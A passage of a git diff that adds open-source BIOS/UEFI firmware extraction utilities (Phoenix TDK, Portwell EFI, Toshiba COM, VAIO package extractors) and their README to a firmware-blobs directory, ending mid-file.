valid + if PAT_MICROSOFT_PE.search(in_buffer[pe_off:pe_off + 0x4]): + try: + # Parse detected MZ > PE > Image, quickly (fast_load) + pe_file = get_pe_file(in_buffer[mz_off:], fast=True) + + # Parse detected MZ > PE > Info + pe_info = get_pe_info(pe_file) + + # Parse detected MZ > PE > Info > Product Name + pe_name = pe_info.get(b'ProductName',b'') + except Exception: + # Any error means no MZ > PE > Info > Product Name + pe_name = b'' + + # Check for valid Phoenix TDK Packer PE > Product Name + # Expected value is "TDK Packer (Extractor for Windows)" + if pe_name.upper().startswith(b'TDK PACKER'): + # Set TDK Base Offset to valid TDK Packer MZ offset + tdk_base_off = mz_off + + # Stop parsing detected MZ once TDK Base Offset is found + if tdk_base_off is not None: + break + else: + # No TDK Base Offset could be found, assume 0x0 + tdk_base_off = 0x0 + + return tdk_base_off + +# Scan input buffer for valid Phoenix TDK image +def get_phoenix_tdk(in_buffer): + # Scan input buffer for Phoenix TDK pattern + tdk_match = PAT_PHOENIX_TDK.search(in_buffer) + + if not tdk_match: + return None, None + + # Set Phoenix TDK Header ($PACK) Offset + tdk_pack_off = tdk_match.start() + + # Get Phoenix TDK Executable (MZ) Base Offset + tdk_base_off = get_tdk_base(in_buffer, tdk_pack_off) + + return tdk_base_off, tdk_pack_off + +# Check if input contains valid Phoenix TDK image +def is_phoenix_tdk(in_file): + buffer = file_to_bytes(in_file) + + return bool(get_phoenix_tdk(buffer)[1] is not None) + +# Parse & Extract Phoenix Tools Development Kit (TDK) Packer +def phoenix_tdk_extract(input_file, extract_path, padding=0): + exit_code = 0 + + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + printer('Phoenix Tools Development Kit Packer', padding) + + base_off,pack_off = get_phoenix_tdk(input_buffer) + + # Parse TDK Header structure + tdk_hdr = get_struct(input_buffer, pack_off, PhoenixTdkHeader) + + # Print TDK Header structure info + printer('Phoenix TDK Header:\n', padding + 4) + tdk_hdr.struct_print(padding + 8) + + # Check if reported TDK Header Size matches manual TDK Entry Count calculation + if tdk_hdr.Size != TDK_HDR_LEN + TDK_DUMMY_LEN + tdk_hdr.Count * TDK_MOD_LEN: + printer('Error: Phoenix TDK Header Size & Entry Count mismatch!\n', padding + 8, pause=True) + exit_code = 1 + + # Store TDK Entries offset after the placeholder data + entries_off = pack_off + TDK_HDR_LEN + TDK_DUMMY_LEN + + # Parse and extract each TDK Header Entry + for entry_index in range(tdk_hdr.Count): + # Parse TDK Entry structure + tdk_mod = get_struct(input_buffer, entries_off + entry_index * TDK_MOD_LEN, PhoenixTdkEntry, [base_off]) + + # Print TDK Entry structure info + printer(f'Phoenix TDK Entry ({entry_index + 1}/{tdk_hdr.Count}):\n', padding + 8) + tdk_mod.struct_print(padding + 12) + + # Get TDK Entry raw data Offset (TDK Base + Entry Offset) + mod_off = tdk_mod.get_offset() + + # Check if TDK Entry raw data Offset is valid + if mod_off >= len(input_buffer): + printer('Error: Phoenix TDK Entry > Offset is out of bounds!\n', padding + 12, pause=True) + exit_code = 2 + + # Store TDK Entry raw data (relative to TDK Base, not TDK Header) + mod_data = input_buffer[mod_off:mod_off + tdk_mod.Size] + + # Check if TDK Entry raw data is complete + if len(mod_data) != tdk_mod.Size: + printer('Error: Phoenix TDK Entry > Data is truncated!\n', padding + 12, pause=True) + exit_code = 3 + + # Check if TDK Entry Reserved is present + if tdk_mod.Reserved: + printer('Error: Phoenix TDK Entry > Reserved is not empty!\n', padding + 12, pause=True) + exit_code = 4 + + # Decompress TDK Entry raw data, when applicable (i.e. LZMA) + if tdk_mod.get_compression() == 'LZMA': + try: + mod_data = lzma.LZMADecompressor().decompress(mod_data) + except Exception: + printer('Error: Phoenix TDK Entry > LZMA decompression failed!\n', padding + 12, pause=True) + exit_code = 5 + + # Generate TDK Entry file name, avoid crash if Entry data is bad + mod_name = tdk_mod.get_name() or f'Unknown_{entry_index + 1:02d}.bin' + + # Generate TDK Entry file data output path + mod_file = os.path.join(extract_path, safe_name(mod_name)) + + # Account for potential duplicate file names + if os.path.isfile(mod_file): mod_file += f'_{entry_index + 1:02d}' + + # Save TDK Entry data to output file + with open(mod_file, 'wb') as out_file: + out_file.write(mod_data) + + return exit_code + +# Get ctypes Structure Sizes +TDK_HDR_LEN = ctypes.sizeof(PhoenixTdkHeader) +TDK_MOD_LEN = ctypes.sizeof(PhoenixTdkEntry) + +# Set placeholder TDK Entries Size +TDK_DUMMY_LEN = 0x200 + +if __name__ == '__main__': + BIOSUtility(TITLE, is_phoenix_tdk, phoenix_tdk_extract).run_utility() diff --git a/blobs/t480/biosutilities/Portwell_EFI_Extract.py b/blobs/t480/biosutilities/Portwell_EFI_Extract.py new file mode 100644 index 000000000..bb40705a9 --- /dev/null +++ b/blobs/t480/biosutilities/Portwell_EFI_Extract.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Portwell EFI Extract +Portwell EFI Update Extractor +Copyright (C) 2021-2022 Plato Mavropoulos +""" + +TITLE = 'Portwell EFI Update Extractor v2.0_a12' + +import os +import sys + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_efi import efi_decompress, is_efi_compressed +from common.path_ops import make_dirs, safe_name +from common.pe_ops import get_pe_file +from common.patterns import PAT_MICROSOFT_MZ, PAT_PORTWELL_EFI +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +FILE_NAMES = { + 0 : 'Flash.efi', + 1 : 'Fparts.txt', + 2 : 'Update.nsh', + 3 : 'Temp.bin', + 4 : 'SaveDmiData.efi' + } + +# Check if input is Portwell EFI executable +def is_portwell_efi(in_file): + in_buffer = file_to_bytes(in_file) + + try: + pe_buffer = get_portwell_pe(in_buffer)[1] + except Exception: + pe_buffer = b'' + + is_mz = PAT_MICROSOFT_MZ.search(in_buffer[:0x2]) # EFI images start with PE Header MZ + + is_uu = PAT_PORTWELL_EFI.search(pe_buffer[:0x4]) # Portwell EFI files start with + + return bool(is_mz and is_uu) + +# Get PE of Portwell EFI executable +def get_portwell_pe(in_buffer): + pe_file = get_pe_file(in_buffer, fast=True) # Analyze EFI Portable Executable (PE) + + pe_data = in_buffer[pe_file.OPTIONAL_HEADER.SizeOfImage:] # Skip EFI executable (pylint: disable=E1101) + + return pe_file, pe_data + +# Parse & Extract Portwell UEFI Unpacker +def portwell_efi_extract(input_file, extract_path, padding=0): + efi_files = [] # Initialize EFI Payload file chunks + + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + pe_file,pe_data = get_portwell_pe(input_buffer) + + efi_title = get_unpacker_tag(input_buffer, pe_file) + + printer(efi_title, padding) + + # Split EFI Payload into file chunks + efi_list = list(PAT_PORTWELL_EFI.finditer(pe_data)) + for idx,val in enumerate(efi_list): + efi_bgn = val.end() + efi_end = len(pe_data) if idx == len(efi_list) - 1 else efi_list[idx + 1].start() + efi_files.append(pe_data[efi_bgn:efi_end]) + + parse_efi_files(extract_path, efi_files, padding) + +# Get Portwell UEFI Unpacker tag +def get_unpacker_tag(input_buffer, pe_file): + unpacker_tag_txt = 'UEFI Unpacker' + + for pe_section in pe_file.sections: + # Unpacker Tag, Version, Strings etc are found in .data PE section + if pe_section.Name.startswith(b'.data'): + pe_data_bgn = pe_section.PointerToRawData + pe_data_end = pe_data_bgn + pe_section.SizeOfRawData + + # Decode any valid UTF-16 .data PE section info to a parsable text buffer + pe_data_txt = input_buffer[pe_data_bgn:pe_data_end].decode('utf-16','ignore') + + # Search .data for UEFI Unpacker tag + unpacker_tag_bgn = pe_data_txt.find(unpacker_tag_txt) + if unpacker_tag_bgn != -1: + unpacker_tag_len = pe_data_txt[unpacker_tag_bgn:].find('=') + if unpacker_tag_len != -1: + unpacker_tag_end = unpacker_tag_bgn + unpacker_tag_len + unpacker_tag_raw = pe_data_txt[unpacker_tag_bgn:unpacker_tag_end] + + # Found full UEFI Unpacker tag, store and slightly beautify the resulting text + unpacker_tag_txt = unpacker_tag_raw.strip().replace(' ',' ').replace('<',' <') + + break # Found PE .data section, skip the rest + + return unpacker_tag_txt + +# Process Portwell UEFI Unpacker payload files +def parse_efi_files(extract_path, efi_files, padding): + for file_index,file_data in enumerate(efi_files): + if file_data in (b'', b'NULL'): + continue # Skip empty/unused files + + file_name = FILE_NAMES.get(file_index, f'Unknown_{file_index}.bin') # Assign Name to EFI file + + printer(f'[{file_index}] {file_name}', padding + 4) # Print EFI file name, indicate progress + + if file_name.startswith('Unknown_'): + printer(f'Note: Detected new Portwell EFI file ID {file_index}!', padding + 8, pause=True) # Report new EFI files + + file_path = os.path.join(extract_path, safe_name(file_name)) # Store EFI file output path + + with open(file_path, 'wb') as out_file: + out_file.write(file_data) # Store EFI file data to drive + + # Attempt to detect EFI compression & decompress when applicable + if is_efi_compressed(file_data): + comp_fname = file_path + '.temp' # Store temporary compressed file name + + os.replace(file_path, comp_fname) # Rename initial/compressed file + + if efi_decompress(comp_fname, file_path, padding + 8) == 0: + os.remove(comp_fname) # Successful decompression, delete compressed file + +if __name__ == '__main__': + BIOSUtility(TITLE, is_portwell_efi, portwell_efi_extract).run_utility() diff --git a/blobs/t480/biosutilities/README.md b/blobs/t480/biosutilities/README.md new file mode 100644 index 000000000..0d8c29c92 --- /dev/null +++ b/blobs/t480/biosutilities/README.md @@ -0,0 +1,552 @@ +# BIOSUtilities [Refactor - WIP] +**Various BIOS Utilities for Modding/Research** + +[BIOS Utilities News Feed](https://twitter.com/platomaniac) + +* [**AMI BIOS Guard Extractor**](#ami-bios-guard-extractor) +* [**AMI UCP Update Extractor**](#ami-ucp-update-extractor) +* [**Apple EFI IM4P Splitter**](#apple-efi-im4p-splitter) +* [**Apple EFI Image Identifier**](#apple-efi-image-identifier) +* [**Apple EFI Package Extractor**](#apple-efi-package-extractor) +* [**Apple EFI PBZX Extractor**](#apple-efi-pbzx-extractor) +* [**Award BIOS Module Extractor**](#award-bios-module-extractor) +* [**Dell PFS Update Extractor**](#dell-pfs-update-extractor) +* [**Fujitsu SFX BIOS Extractor**](#fujitsu-sfx-bios-extractor) +* [**Fujitsu UPC BIOS Extractor**](#fujitsu-upc-bios-extractor) +* [**Insyde iFlash/iFdPacker Extractor**](#insyde-iflashifdpacker-extractor) +* [**Panasonic BIOS Package Extractor**](#panasonic-bios-package-extractor) +* [**Phoenix TDK Packer Extractor**](#phoenix-tdk-packer-extractor) +* [**Portwell EFI Update Extractor**](#portwell-efi-update-extractor) +* [**Toshiba BIOS COM Extractor**](#toshiba-bios-com-extractor) +* [**VAIO Packaging Manager Extractor**](#vaio-packaging-manager-extractor) + +## **AMI BIOS Guard Extractor** + +![]() + +#### **Description** + +Parses AMI BIOS Guard (a.k.a. PFAT, Platform Firmware Armoring Technology) images, extracts their SPI/BIOS/UEFI firmware components and decompiles the Intel BIOS Guard Scripts. It supports all AMI PFAT revisions and formats, including those with Index Information tables or nested AMI PFAT structures. The output comprises only final firmware components which are directly usable by end users. + +Note that the AMI PFAT structure may not have an explicit component order. AMI's BIOS Guard Firmware Update Tool (AFUBGT) updates components based on the user/OEM provided Parameters and Options or Index Information table, when applicable. That means that merging all the components together does not usually yield a proper SPI/BIOS/UEFI image. The utility does generate such a merged file with the name "00 -- \\_ALL.bin" but it is up to the end user to determine its usefulness. Moreover, any custom OEM data after the AMI PFAT structure are additionally stored in the last file with the name "\ -- \_OOB.bin" and it is once again up to the end user to determine its usefulness. In cases where the trailing custom OEM data include a nested AMI PFAT structure, the utility will process and extract it automatically as well. + +#### **Usage** + +You can either Drag & Drop or manually enter AMI BIOS Guard (PFAT) image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +Optionally, to decompile the AMI PFAT \> Intel BIOS Guard Scripts, you must have the following 3rd party utility at the "external" project directory: + +* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) + +#### **Pictures** + +![]() + +## **AMI UCP Update Extractor** + +![]() + +#### **Description** + +Parses AMI UCP (Utility Configuration Program) Update executables, extracts their firmware components (e.g. SPI/BIOS/UEFI, EC, ME etc) and shows all relevant info. It supports all AMI UCP revisions and formats, including those with nested AMI PFAT, AMI UCP or Insyde iFlash/iFdPacker structures. The output comprises only final firmware components and utilities which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter AMI UCP Update executable file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts +* -c or --checksum : verify AMI UCP Checksums (slow) + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tools at the "external" project directory: + +* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +Optionally, to decompile the AMI UCP \> AMI PFAT \> Intel BIOS Guard Scripts (when applicable), you must have the following 3rd party utility at the "external" project directory: + +* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) + +#### **Pictures** + +![]() + +## **Apple EFI IM4P Splitter** + +![]() + +#### **Description** + +Parses Apple IM4P multi-EFI files and splits all detected EFI firmware into separate Intel SPI/BIOS images. The output comprises only final firmware components and utilities which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Apple EFI IM4P file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you do not need any prerequisites. + +#### **Pictures** + +![]() + +## **Apple EFI Image Identifier** + +![]() + +#### **Description** + +Parses Apple EFI images and identifies them based on Intel's official $IBIOSI$ tag, which contains info such as Model, Version, Build, Date and Time. Optionally, the utility can rename the input Apple EFI image based on the retrieved $IBIOSI$ tag info, while also making sure to differentiate any EFI images with the same $IBIOSI$ tag (e.g. Production, Pre-Production) by appending a checksum of their data. + +#### **Usage** + +You can either Drag & Drop or manually enter Apple EFI image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts +* -r or --rename : rename EFI image based on its tag + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tools at the "external" project directory: + +* [UEFIFind](https://github.com/LongSoft/UEFITool/) (i.e. [UEFIFind.exe for Windows or UEFIFind for Linux](https://github.com/LongSoft/UEFITool/releases)) +* [UEFIExtract](https://github.com/LongSoft/UEFITool/) (i.e. [UEFIExtract.exe for Windows or UEFIExtract for Linux](https://github.com/LongSoft/UEFITool/releases)) + +#### **Pictures** + +![]() + +## **Apple EFI Package Extractor** + +![]() + +#### **Description** + +Parses Apple EFI PKG firmware packages (i.e. FirmwareUpdate.pkg, BridgeOSUpdateCustomer.pkg), extracts their EFI images, splits those in IM4P format and identifies/renames the final Intel SPI/BIOS images accordingly. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Apple EFI PKG package file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tools at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() + +## **Apple EFI PBZX Extractor** + +![]() + +#### **Description** + +Parses Apple EFI PBZX images, re-assembles their CPIO payload and extracts its firmware components (e.g. IM4P, EFI, Utilities, Scripts etc). It supports CPIO re-assembly from both Raw and XZ compressed PBZX Chunks. The output comprises only final firmware components and utilities which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Apple EFI PBZX image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tools at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() + +## **Award BIOS Module Extractor** + +![]() + +#### **Description** + +Parses Award BIOS images and extracts their modules (e.g. RAID, MEMINIT, \_EN_CODE, awardext etc). It supports all Award BIOS image revisions and formats, including those which contain LZH compressed files. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Award BIOS image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tool at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() + +## **Dell PFS Update Extractor** + +![]() + +#### **Description** + +Parses Dell PFS Update images and extracts their Firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and Utilities (e.g. Flasher etc) component sections. It supports all Dell PFS revisions and formats, including those which are originally LZMA compressed in ThinOS packages (PKG), ZLIB compressed or Intel BIOS Guard (PFAT) protected. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Dell PFS Update images(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts +* -a or --advanced : extract signatures and metadata +* -s or --structure : show PFS structure information + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +Optionally, to decompile the Intel BIOS Guard (PFAT) Scripts, you must have the following 3rd party utility at the "external" project directory: + +* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) + +#### **Pictures** + +![]() + +## **Fujitsu SFX BIOS Extractor** + +![]() + +#### **Description** + +Parses Fujitsu SFX BIOS images and extracts their obfuscated Microsoft CAB archived firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and utilities (e.g. WinPhlash, PHLASH.INI etc) components. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Fujitsu SFX BIOS image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tool at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() + +## **Fujitsu UPC BIOS Extractor** + +![]() + +#### **Description** + +Parses Fujitsu UPC BIOS images and extracts their EFI compressed SPI/BIOS/UEFI firmware component. The output comprises only a final firmware component which is directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Fujitsu UPC BIOS image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tool at the "external" project directory: + +* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) + +#### **Pictures** + +![]() + +## **Insyde iFlash/iFdPacker Extractor** + +![]() + +#### **Description** + +Parses Insyde iFlash/iFdPacker Update images and extracts their firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and utilities (e.g. InsydeFlash, H2OFFT, FlsHook, iscflash, platform.ini etc) components. It supports all Insyde iFlash/iFdPacker revisions and formats, including those which are 7-Zip SFX 7z compressed in raw, obfuscated or password-protected form. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Insyde iFlash/iFdPacker Update image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you do not need any prerequisites. + +#### **Pictures** + +![]() + +## **Panasonic BIOS Package Extractor** + +![]() + +#### **Description** + +Parses Panasonic BIOS Package executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. winprom, configuration etc) components. It supports all Panasonic BIOS Package revisions and formats, including those which contain LZNT1 compressed files. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Panasonic BIOS Package executable file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party Python modules installed: + +* [pefile](https://pypi.org/project/pefile/) +* [lznt1](https://pypi.org/project/lznt1/) + +Moreover, you must have the following 3rd party tool at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() + +## **Phoenix TDK Packer Extractor** + +![]() + +#### **Description** + +Parses Phoenix Tools Development Kit (TDK) Packer executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. WinFlash etc) components. It supports all Phoenix TDK Packer revisions and formats, including those which contain LZMA compressed files. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Phoenix Tools Development Kit (TDK) Packer executable file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party Python module installed: + +* [pefile](https://pypi.org/project/pefile/) + +#### **Pictures** + +![]() + +## **Portwell EFI Update Extractor** + +![]() + +#### **Description** + +Parses Portwell UEFI Unpacker EFI executables (usually named "Update.efi") and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. Flasher etc) components. It supports all known Portwell UEFI Unpacker revisions (v1.1, v1.2, v2.0) and formats (used, empty, null), including those which contain EFI compressed files. The output comprises only final firmware components and utilities which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Portwell UEFI Unpacker EFI executable file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party Python module installed: + +* [pefile](https://pypi.org/project/pefile/) + +> pip3 install pefile + +Moreover, you must have the following 3rd party tool at the "external" project directory: + +* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) + +#### **Pictures** + +![]() + +## **Toshiba BIOS COM Extractor** + +![]() + +#### **Description** + +Parses Toshiba BIOS COM images and extracts their raw or compressed SPI/BIOS/UEFI firmware component. This utility is basically an easy to use python wrapper around [ToshibaComExtractor by LongSoft](https://github.com/LongSoft/ToshibaComExtractor). The output comprises only a final firmware component which is directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Toshiba BIOS COM image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tool at the "external" project directory: + +* [ToshibaComExtractor](https://github.com/LongSoft/ToshibaComExtractor) (i.e. [comextract.exe for Windows or comextract for Linux](https://github.com/LongSoft/ToshibaComExtractor/releases)) + +#### **Pictures** + +![]() + +## **VAIO Packaging Manager Extractor** + +![]() + +#### **Description** + +Parses VAIO Packaging Manager executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC, ME etc), utilities (e.g. WBFLASH etc) and driver (audio, video etc) components. If direct extraction fails, it attempts to unlock the executable in order to run at all non-VAIO systems and allow the user to choose the extraction location. It supports all VAIO Packaging Manager revisions and formats, including those which contain obfuscated Microsoft CAB archives or obfuscated unlock values. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter VAIO Packaging Manager executable file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tool at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() \ No newline at end of file diff --git a/blobs/t480/biosutilities/Toshiba_COM_Extract.py b/blobs/t480/biosutilities/Toshiba_COM_Extract.py new file mode 100644 index 000000000..da6ee4370 --- /dev/null +++ b/blobs/t480/biosutilities/Toshiba_COM_Extract.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Toshiba COM Extract +Toshiba BIOS COM Extractor +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Toshiba BIOS COM Extractor v2.0_a4' + +import os +import sys +import subprocess + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.externals import get_comextract_path +from common.path_ops import make_dirs, path_stem, path_suffixes +from common.patterns import PAT_TOSHIBA_COM +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +# Check if input is Toshiba BIOS COM image +def is_toshiba_com(in_file): + buffer = file_to_bytes(in_file) + + is_ext = path_suffixes(in_file)[-1].upper() == '.COM' if os.path.isfile(in_file) else True + + is_com = PAT_TOSHIBA_COM.search(buffer) + + return is_ext and is_com + +# Parse & Extract Toshiba BIOS COM image +def toshiba_com_extract(input_file, extract_path, padding=0): + if not os.path.isfile(input_file): + printer('Error: Could not find input file path!', padding) + + return 1 + + make_dirs(extract_path, delete=True) + + output_name = path_stem(input_file) + output_file = os.path.join(extract_path, f'{output_name}.bin') + + try: + subprocess.run([get_comextract_path(), input_file, output_file], check=True, stdout=subprocess.DEVNULL) + + if not os.path.isfile(output_file): + raise Exception('EXTRACT_FILE_MISSING') + except Exception: + printer(f'Error: ToshibaComExtractor could not extract file {input_file}!', padding) + + return 2 + + printer(f'Succesfull {output_name} extraction via ToshibaComExtractor!', padding) + + return 0 + +if __name__ == '__main__': + BIOSUtility(TITLE, is_toshiba_com, toshiba_com_extract).run_utility() diff --git a/blobs/t480/biosutilities/VAIO_Package_Extract.py b/blobs/t480/biosutilities/VAIO_Package_Extract.py new file mode 100644 index 000000000..9bb49bfee --- /dev/null +++ b/blobs/t480/biosutilities/VAIO_Package_Extract.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +VAIO Package Extractor +VAIO Packaging Manager Extractor +Copyright (C) 2019-2022 Plato Mavropoulos +""" + +TITLE = 'VAIO Packaging Manager Extractor v3.0_a8' + +import os +import sys + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_szip import is_szip_supported, szip_decompress +from common.path_ops import make_dirs +from common.patterns import PAT_VAIO_CAB, PAT_VAIO_CFG, PAT_VAIO_CHK, PAT_VAIO_EXT +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +# Check if input is VAIO Packaging Manager +def is_vaio_pkg(in_file): + buffer = file_to_bytes(in_file) + + return bool(PAT_VAIO_CFG.search(buffer)) + +# Extract VAIO Packaging Manager executable +def vaio_cabinet(name, buffer, extract_path, padding=0): + match_cab = PAT_VAIO_CAB.search(buffer) # Microsoft CAB Header XOR 0xFF + + if not match_cab: + return 1 + + printer('Detected 